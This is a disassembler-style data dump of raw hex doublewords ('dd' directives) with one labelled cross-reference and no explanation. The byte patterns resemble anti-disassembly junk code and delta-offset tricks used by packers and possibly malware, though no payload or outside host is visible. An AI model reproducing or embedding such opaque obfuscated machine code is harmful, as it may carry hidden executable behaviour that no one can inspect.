		dd 6A05E9h, 9D23FA8Ah, 5E90DC1h, 1E9595FFh, 816605E9h
		dd 0B95F71C3h, 923h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 64C35545h, 0E183E8DEh, 0F3BF66FCh, 6AFCA3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B66B7C3h, 0B8DAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 30A947C3h, 3829DE87h
		dd 8E9h, 0DDE4D100h, 0EE305AB3h, 0BA66h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0B1E130C3h, 814F8345h, 33ADF939h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8E8DFC3h,	0EE000000h, 63E2A867h, 9E37676h
		dd 0E90BC18Dh, 880D5F05h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C0ECC352h
		dd 0F970EA68h, 6810F60h, 8B000000h, 0E908E58Dh,	0DABF0F05h
		dd 13E961h, 0DAD40000h,	0FB360DAh, 0B173019h, 9CFAB2D7h
		dd 43884308h, 55958B08h, 0E805E926h, 7,	59F343E1h, 0BBBAAE75h
		dd 6F354A4Ch, 58D8B5Bh,	6A05E908h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 1AC1C350h
		dd 8B50F8FFh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 5FB7B353h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	0DEC35545h, 24A943F7h, 0F5E51063h, 1CF1BD83h, 0F0005E9h
		dd 0A384h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0B70F0F7Ch, 0A98589F9h, 0B805E917h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E8C35545h
		dd 0D95B4097h, 0E56423FFh, 38A0Fh, 0B70F0000h, 6D8D8DD8h
		dd 6005E94Eh, 1EA99D8Bh, 0B58905E9h, 5E93245h, 5DBD8B61h
		dd 0FF05E92Dh, 50006AE1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 6F5CC845h, 0D00935F5h
		dd 6E925h, 0F9A60000h, 565F9860h, 163DBD83h, 0F0005E9h
		dd 3EA84h, 6DBD8900h, 8305E919h, 0E9163DBDh, 840F0105h
		db 0F2h, 3
word_584F4E	dw 0			; DATA XREF: ___:00436804o
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5CC35545h
		dd 0E9BF9F93h, 83245FAFh, 0E9163DBDh, 860F0305h, 38Ch
		dd 21858960h, 6605E902h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8D89E3C3h, 5E9274Dh
		dd 3919589h, 0E18005E9h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6800FDCh, 8B000000h, 0E90CC59Dh
		dd 22DF8005h, 840FC90Ah, 149h, 0E31BD33h, 858B05E9h, 5E92869h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CFC35747h
		dd 2FBEC6C8h, 5FF88B57h, 10E8h,	2172100h, 0BD3BD05Fh, 28DD284h
		dd 0E6038D2Dh, 335FF582h, 0E90E6185h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 8E4920E1h, 9BF4917Ah, 0BD89853Ah, 5E90649h, 21EDBD8Bh
		dd 0E95005E9h, 12h, 0DC605D02h,	0A42A7AB1h, 640CBEA5h
		dd 0F0BAC6BCh, 4899EDBh, 86E78124h, 6A6E8573h, 45BD2B00h
		dd 6805E92Ah, 0FD48AFA8h, 3800Fh, 8B660000h, 240481F8h
		dd 2D65457h, 118A0Fh, 8E80000h,	2000000h, 0A71BE593h, 66DB4997h
		dd 0FF5FFE8Bh, 0E9292D95h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 41D34654h
		dd 89E717ACh, 0ECBACE85h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0F8B70FB6h
		dd 1AAE9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 31020000h, 0E91E1DBDh, 0C6858B05h
		dd 8B05ECBAh, 0E90E15BDh, 1800C705h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 4900C357h, 3B8546AEh, 0F3814D10h, 74711B6h, 0BACAB58Bh
		dd 858905ECh, 5E91139h,	8BA1F780h, 0E92F3985h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 8997E74Ch, 89C8CA3Ch, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 15952958h, 8B05E930h
		dd 0E9286985h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0E801716Ch, 10h, 0E0353256h
		dd 0C7D0FB17h, 987A8F87h, 27B8DC59h, 895BF88Bh,	0E3810446h
		dd 774CD9DDh, 8AC78166h, 0B960507Eh, 66A10928h,	298C8FB9h
		dd 34896114h, 0A59D8B24h, 0FF05E92Bh, 0ECBAC6B5h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0F5589730h, 5D86E28h, 0A2BECB81h, 0B5892CD1h, 5E91E75h
		dd 0F3B1C568h, 7555BF26h, 34816879h, 0ECB23A24h, 59D8B26h
		dd 8D05E922h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 8D895241h
		dd 5E93035h, 489505Bh, 85BD3324h, 0FF05E92Dh, 0E9292D95h
		dd 5E905h, 4580000h, 61AE93DDh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0D5C35545h,	0C7D0B783h, 0E9163D85h
		dd 305h, 26BB5600h, 5B541AEAh, 0BACEBD83h, 0F0005ECh, 1784h
		dd 88D0F00h, 0F000000h,	283h, 0E9F98B00h, 1Fh, 0AEF0BB66h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8BEFC355h, 0E922019Dh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0F6ADE321h
		dd 0DF8BDD1Eh, 1B9B589h, 0BD8305E9h, 5E9163Dh, 0EB850F03h
		dd 83000003h, 0ECBACEBDh, 840F0005h, 3DEh, 14E8h, 0B6552500h
		dd 0BEB907AFh, 3AEDF738h, 662D25E7h, 40FB2756h,	5F09B35Fh
		dd 2CEEF81h, 0B5FF122Ah, 5ECBACEh, 6E960h, 0A3640000h
		dd 0B8AE2369h, 0FF6137B5h, 0E92B7595h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 88FCB51Ch, 2371DF2h,	2985313Fh, 8B05E907h, 0ECBAC2B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 9D89C67Fh, 5E91861h, 106C7h, 8B660001h
		dd 58B0FF9h, 0BF000000h, 4CCE2181h, 0DA8B6650h,	31243489h
		dd 0E902A585h, 6CA6BB05h, 0B5FF1BD7h, 5ECBACEh,	0D5985ABBh
		dd 4D95FF7Ah, 8B05E92Bh, 0E90ADD9Dh, 0C2B58B05h, 6A05ECBAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0B3E0C353h, 498E568Fh, 0BC435CFCh, 5F1BD89h
		dd 858B05E9h, 5E90FDDh,	0C48689F5h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 891BC357h, 0E9018195h, 55958B05h, 8B05E926h,	890FDEh
		dd 83000000h, 5E804C2h,	4000000h, 57138235h, 5BD88B66h
		dd 6A205089h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0D4EBC357h, 0BE8ABF1h,	9C000000h
		dd 24A56AC4h, 92972A1Fh, 0BF66F727h, 8D5FBDF3h,	0ECD05585h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 863B23E4h, 5F6EB957h, 0BF66326Ch, 8689A973h
		dd 0B8h, 12E78060h, 61D78B66h, 9D8B006Ah, 5E92AADh, 2A619D89h
		dd 0B5FF05E9h, 5ECBACEh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 73C35040h, 57A2A5E0h,	0BD8BC5B5h, 5E90E15h
		dd 0AD95FFh, 820F05E9h,	6, 3191BD89h, 509605E9h, 4880Fh
		dd 0BF660000h, 6096022Eh, 49B1A4BEh, 0F18B6672h, 0CEB5FF61h
		dd 8905ECBAh, 0E9076D85h, 3195FF05h, 8905E932h,	0E9318585h
		dd 0B1BD8305h, 5E92Ah, 58840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 85A9BC3h
		dd 79526621h, 0FE9h, 0AC4C1500h, 0BC174B70h, 90F1CB8Bh
		dd 0C0087352h, 0F5ABBB96h, 0B3503786h, 0DE9969Fh, 62000000h
		dd 47EBAED4h, 2685D34Ah, 0D1015957h, 4C1BD8Bh, 0B5FF05E9h
		dd 5ECBACEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0ADC35141h, 0D37DB32Eh,	2932AC66h, 0E91FADB5h
		dd 6195FF05h, 0E905E92Fh, 5, 0A2513BA4h, 0CEB5FF4Bh, 8B05ECBAh
		dd 0E903D19Dh, 0C595FF05h, 6A05E92Dh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0A3D1C352h
		dd 9F1E6884h, 0C78166F5h, 83F8C08Fh, 0E903FDBDh, 840F0205h
		dd 88h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
		dd 0EAC35242h, 15B3C6B7h, 55858B2Bh, 6A05E930h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 1CBFC357h, 0E97CA0ACh, 13h, 0E4B3E738h, 15088E67h, 0A6B020B2h
		dd 0EE2F9E1Ah, 0C66507EBh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 24CE3C3h, 41FBEB6h, 0FE8B0F7Ah, 27A985C7h, 5E9h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 6549B9C3h, 503811F8h, 74E9CE0Bh, 8BFFFFF3h, 55006AC1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0B7DD0061h, 0AE9h, 0EFFE4100h, 6E86D014h, 8DF4EE2Eh
		dd 0E921E585h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0D7B3481Bh, 2B04FA8Ah
		dd 0E90E95BDh, 0BF665005h, 4899C06h, 858B6024h,	5E90D15h
		dd 0AE8h, 740B0600h, 16D42A0Ah,	0B99561CEh, 7A67A71Ch
		dd 6A6159h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Bh,	4DC35343h, 0D72E153h, 9A902F1h,	0E9253595h, 890F05h
		dd 0E8000000h, 0Ah, 882A3617h, 0AA02F8A0h, 0BD8BE3EBh
		dd 5E9232Dh, 66006A5Fh,	8D014FBFh, 0ED77F785h, 7E805h
		dd 9F0E0000h, 13CF07A5h, 68E0F72h, 0F000000h, 84h, 0C0835F00h
		dd 0E99D8B05h, 9005E917h, 5750D88Bh, 17880Fh, 11E80000h
		dd 73000000h, 5DBA25A2h, 794C30E8h, 6EF24B6Dh, 0CB43B9E2h
		dd 80905B5Fh, 6A5ED3h, 0FE8h, 934A0700h, 0A25CCD6Dh, 3CEABC68h
		dd 0C6281D3Dh, 0CFD9D8Bh, 8B5F05E9h, 0FF006AFBh, 0E90AA195h
		dd 0A18FBB05h, 8D8D4D28h, 5ECADBFh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 8BC35747h, 51840F68h, 0FF5FF88Bh
		dd 50006AD1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 54A8B9F9h, 8AD5542h, 13E8h, 0BEC4B000h
		dd 32512B1Dh, 27EF4776h, 0E7D9B34Ah, 81F3EBDAh,	12699D03h
		dd 0E85B05E9h, 0Bh, 0D98C175Bh,	0E3C72C8Ah, 81081CFBh
		dd 0E17FBDEFh, 0BD835B29h, 5E901BDh, 41850F01h,	89000000h
		dd 0E90DAD9Dh, 81026A05h, 0D23A2DDFh, 8B66501Fh, 240489DAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9C35040h
		dd 81668B1Bh, 0FFD858CFh, 0E900AD95h, 0FA8B6605h, 0DB7E9h
		dd 0E800h, 815D0000h, 0ED7801EDh, 0B5958905h, 0E905E919h
		dd 13h,	0A8ED6DB3h, 2E1A1648h, 8B64F9E2h, 0BABB48B3h, 8A58DD93h
		dd 4B858DDDh, 6A05EC90h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0C6EC353h, 7C686234h
		dd 0FBCF8102h, 5005B5DBh, 310F5250h, 585AD88Ah,	6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 6945C352h, 0D2B02CEDh, 64FBBF0Fh,	35FFh
		dd 9D8B0000h, 5E92451h,	10259D89h, 896405E9h, 25h, 21858900h
		dd 0FF05E91Dh, 0E9068985h, 6800F05h, 9000000h, 0E92FDD8Dh
		dd 6AFF6A05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 2E08C355h, 3A0E8760h, 35747CBAh
		dd 6B59D8Bh, 0B5FF05E9h, 5E92F55h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 9CC35747h, 8B607ED0h, 0E907DD85h
		dd 40CCBF05h, 0FF611755h, 0E907C995h, 0E5E905h,	95010000h
		dd 5E90E5Dh, 9D8B00B0h,	5E93141h, 5BF70E6h, 0E46038C5h
		dd 0F613C71h, 0C683h, 0F38B6000h, 30218D8Bh, 0F6105E9h
		dd 8589C8B6h, 5E927D5h,	6BAh, 27D38100h, 8B714D3Bh, 10E9C1h
		dd 0BD970000h, 8443A4C8h, 72CCA88h, 0C3E922Ch, 0E8C16EE4h
		dd 28BB6604h, 0E2F76624h, 1259B589h, 816605E9h,	2B5803D3h
		dd 0D1BD89C8h, 8B05E916h, 0F38166D1h, 6E9341Bh,	9000000h
		dd 0E90C09BDh, 9D858B05h, 8B05E932h, 7C083FEh, 83D98B66h
		dd 9D8B00C0h, 5E900A9h,	830FD03Bh, 0Bh,	30FD9D89h, 38E905E9h
		dd 8B000000h, 0E910798Dh, 1E18305h, 29840Fh, 9D290000h
		dd 5E90229h, 1079A583h,	0BFFE05E9h, 5A44C7CFh, 329D9589h
		dd 7E905E9h, 55000000h,	94C60EDh, 0E91499h, 8D000000h
		dd 0ECFFCEB5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 5723E0C1h, 6A944DACh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 9D89B238h, 5E921F1h, 1E9595FFh, 6A05E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0D88C08C3h, 24554303h, 0BE84Fh, 203F0000h, 1B4057C7h
		dd 537A4070h, 89BD8BE4h, 5F05E90Bh, 7DFB9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0B02D37FEh, 0E183370Dh, 0F9B70FFCh, 75BD8BFCh, 2B05E931h
		dd 999D8BC0h, 2B05E902h, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 60264681h, 1DCD8D01h
		dd 0E78005E9h, 33AD61E4h, 3E8D1C2h, 4E983D0h, 0FF9F475h
		dd 880DF8BFh, 29000000h, 0E91F21B5h, 55958B05h,	305E926h
		dd 0E90D01BDh, 58D8B05h, 2905E908h, 0E9245195h,	0C28B5005h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 958188Bh, 0E90715BDh
		dd 0D19D8B05h, 6A05E905h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 89A4C357h, 0E900F98Dh
		dd 0F1BD8305h, 5E91Ch, 42840Fh,	9D8B0000h, 5E91FA1h, 0B8h
		dd 0FA8B6600h, 4E6D8D8Dh, 9D8B05E9h, 5E91F95h, 6AE1FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 9E4CFFC3h, 0BD8922E9h, 5E91D71h, 163DBD83h, 0F0005E9h
		dd 50584h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0C63317E8h, 0E8B32B27h, 0DDBD8B36h
		dd 8305E904h, 0E9163DBDh, 840F0105h, 4E9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5BC35242h, 685F8AAAh
		dd 38B9253h, 0E927919Dh, 13B16005h, 8361E18Ah, 0E9163DBDh
		dd 860F0305h, 477h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0B8C35545h, 5B739390h, 0DEB66242h, 5E9CAh
		dd 27080000h, 60CF058Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 66C35747h, 237BC62Fh,	0C780B9C0h, 85896087h
		dd 5E932CDh, 61FEB70Fh,	80D98C66h, 0E180D0EBh, 0AF98B04h
		dd 0A5840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 4B3DC355h, 39853122h
		dd 105E918h, 0E90F09B5h, 69858B05h, 6A05E928h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0EA38C355h, 9D8B0AA0h, 5E92B9Dh, 0E618533h, 6A05E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F9B0AC3h, 850FFABFh, 6, 5319D03h, 669005E9h, 50A1DFBFh
		dd 5E952h, 65A30000h, 5F30867Ah, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 5DE39123h
		dd 89927657h, 0E9318DBDh, 0DABF6605h, 6A006AFEh, 3E85300h
		dd 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 135DC353h, 0A96B6618h
		dd 28BFEA3Ch, 682ECF52h, 0DAF6BC39h, 6E9h, 0DEC54000h
		dd 81FDB59Fh, 47C62404h, 6A2528h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0AD7E6DC3h, 0ECDE80A3h
		dd 9D2BA06Dh, 5E90059h,	292D95FFh, 9D8905E9h, 5E92261h
		dd 68A0Fh, 9D010000h, 5E90AD1h,	0BACE8589h, 6A05ECh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 910346C3h, 797490C3h, 20DE9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0CED81118h
		dd 0AE9F3h, 0E3630000h,	0B3D3F837h, 0A552FAF0h,	0BAC6858Bh
		dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 437AD0C3h, 392AA182h, 1800C7h, 53600000h
		dd 1D41852Bh, 0B65905E9h, 0B58B6190h, 5ECBACAh,	0DE9h
		dd 0C566DA00h, 41C9764h, 0B1848A21h, 858B0212h,	5E92F39h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0CCC35040h
		dd 0DE9h, 0B177B300h, 0CE62AA03h, 9174EF5h, 689EB62h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5AC35242h, 0F22B6887h
		dd 0AB59D8Bh, 858B05E9h, 5E92869h, 0E8044689h, 8, 0FA566302h
		dd 9D3CCA78h, 0CAE78166h, 0BF505BB0h, 37617A38h, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0CC84C356h, 0D53D44BFh, 52E271CFh, 0BAC6B5FFh
		dd 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 466BBC3h,	0C99D8B60h, 6605E925h, 6861CB8Bh
		dd 404308EAh, 6D3DBF66h, 15243481h, 6A405C0Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0B483C356h, 45BD8B5Ah, 8D05E903h, 0ECBACE85h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0FE8B66CBh, 50FAB70Fh, 13E8h, 4C9B7600h, 0FF48877Ah
		dd 94EAE498h, 0AC4BA77Fh, 99964B61h, 0AE8h, 6AACBE00h
		dd 0A5B3D6FDh, 8BE8AED3h, 895B5BFAh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0D5F15C3h
		dd 91BD297Ch, 0FF05E924h, 0E9292D95h, 361F805h,	0E92B159Dh
		dd 3D85C705h, 305E916h,	81000000h, 40D83AE7h, 0CEBD834Fh
		dd 5ECBAh, 5D840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 4AB34DC3h, 0E3B58D57h
		dd 8BA29061h, 0E92B7D9Dh, 0D78105h, 0E96340A8h,	42h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 43C35040h, 0ABDA273Fh
		dd 0D59D2BCAh, 5005E904h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 8AA162C3h, 0F1BD8B04h
		dd 8305E905h, 0E9163DBDh, 850F0305h, 45Bh, 0BD830EB3h
		dd 5ECBACEh, 4C840F00h,	8B000004h, 0E932759Dh, 0CEB5FF05h
		dd 8905ECBAh, 0E916EDB5h, 0DB816605h, 95FFF4A4h, 5E92B75h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D3C35242h
		dd 3A16280Dh, 0CABB3872h, 0B58B65B7h, 5ECBAC2h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 48C35545h, 3FE9C51Dh
		dd 663A754Dh, 0DD35C381h, 106C7h, 6A0001h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 73231CC3h
		dd 2059446Bh, 0BE9h, 0C5BAFD00h, 9CC0A080h, 9BCA810Eh
		dd 0BE896h, 0AD9F0000h,	0D57D95BAh, 0D3BD588Fh,	8A5250A6h
		dd 0E9310FFAh, 10h, 374F8958h, 197CF544h, 485F2A17h, 24407AA7h
		dd 505F585Ah, 0E28ABF66h, 55006A96h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0E82363E5h
		dd 2D4B3686h, 0B589117Ch, 5E9267Dh, 0BACEB5FFh,	0BD8B05ECh
		dd 5E90BCDh, 0ED9D33h, 95FF05E9h, 5E92B4Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C9C35141h, 28BFC079h
		dd 0AE82FD8h, 0CD000000h, 781AB004h, 0A2E360EAh, 0B5896075h
		dd 5E93169h, 1CA1958Bh,	5F6105E9h, 799D3350h, 5B05E91Eh
		dd 0BAC2B58Bh, 0BB6005ECh, 38D1DD45h, 5959589h,	8B6105E9h
		dd 0E90FDD85h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BB66C5ACh, 8689BCD8h
		dd 0C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	0F9C35242h, 27619589h, 958B05E9h, 5E92655h, 1ECD8D89h
		dd 68B705E9h, 6A04C283h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 87BCC350h, 88555EAh
		dd 18C99D23h, 0BD8B05E9h, 5E90085h, 6A205089h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0AF19C350h, 9A3B1720h, 10E8C0h, 1B3E0000h, 615BA846h
		dd 0BBF2A698h, 400D5BC4h, 0ABFA531h, 5B7680DCh,	27218D29h
		dd 858D05E9h, 5ECD055h,	10E9h, 1A0B9C00h, 0AD510C01h, 0B03FF6CCh
		dd 0A3AC0D8Fh, 0B88689F1h, 0F000000h, 28Ch, 6ADE8B00h
		dd 75BD2900h, 0FF05E903h, 0ECBACEB5h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0EC076C22h, 0EE88844h, 0D0000000h, 4452B355h, 0B20FE6A6h
		dd 41259342h, 0E19D898Eh, 5F05E90Dh, 0AD95FFh, 6A05E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0D8409EC3h, 0E9F3D9D7h, 0Ch,	0B8D9FA71h, 0BC67F2BAh
		dd 0E5D9117Bh, 8E9h, 18D14F00h,	364DE6C4h, 66605080h, 0B966C28Bh
		dd 89612B4Eh, 9D8B2434h, 5E907D5h, 0BACEB5FFh, 43BB05ECh
		dd 0FF43148Bh, 0E9323195h, 0FAB70F05h, 2AB1BD83h, 0F0005E9h
		dd 4484h, 0B9BD8B00h, 9605E906h, 58E0Fh, 66500000h, 505FFE8Bh
		dd 13E8h, 1C79BD00h, 0CE01CC06h, 5A77361Ah, 2D1A5F6Ch
		dd 0F371EE55h, 8B665250h, 66310FD8h, 585AFE8Bh,	8060965Fh
		dd 0BD8924D8h, 5E92565h, 0CEB5FF61h, 8B05ECBAh,	0E90FF59Dh
		dd 6195FF05h, 0FF05E92Fh, 0ECBACEB5h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0F5264BAh, 95FFD8B7h, 5E92DC5h, 0ECC7F781h, 0BD837892h
		dd 5E903FDh, 6C840F02h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0BBB3C350h
		dd 671577A7h, 89975819h, 0E932D995h, 0F88B6605h, 3055858Bh
		dd 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0BD957AC3h, 1850CF4Eh, 85898CFDh,	5E9303Dh
		dd 890000C6h, 0E91831B5h, 5850905h, 0C705E90Eh
		dd 0E927A985h, 5, 5BD8900h, 0E905E90Eh,	0FFFFF321h, 0D68B6057h
		dd 19A59503h, 5B6105E9h, 6850Fh, 0BD8B0000h, 5E928A5h
		dd 0DF8BC18Bh, 21E5858Dh, 0BD8905E9h, 5E92D21h,	0DE8B5090h
		dd 41BD8990h, 6A05E908h, 6AFC00h, 8DF98B66h, 0ED874585h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0C0833DBFh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 81BD8B6Bh
		dd 0BF05E90Eh, 72DC2C30h, 2D799D2Bh, 605005E9h,	763ABA66h
		dd 24048961h, 0ADD3DBBh, 6A006A46h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0AE87C357h
		dd 0E7816634h, 6AD86Eh,	2FA59D8Bh, 95FF05E9h, 5E90AA1h
		dd 0F559D89h, 8D8D05E9h, 5ECADBFh, 0FFD9BF0Fh, 51006AD1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
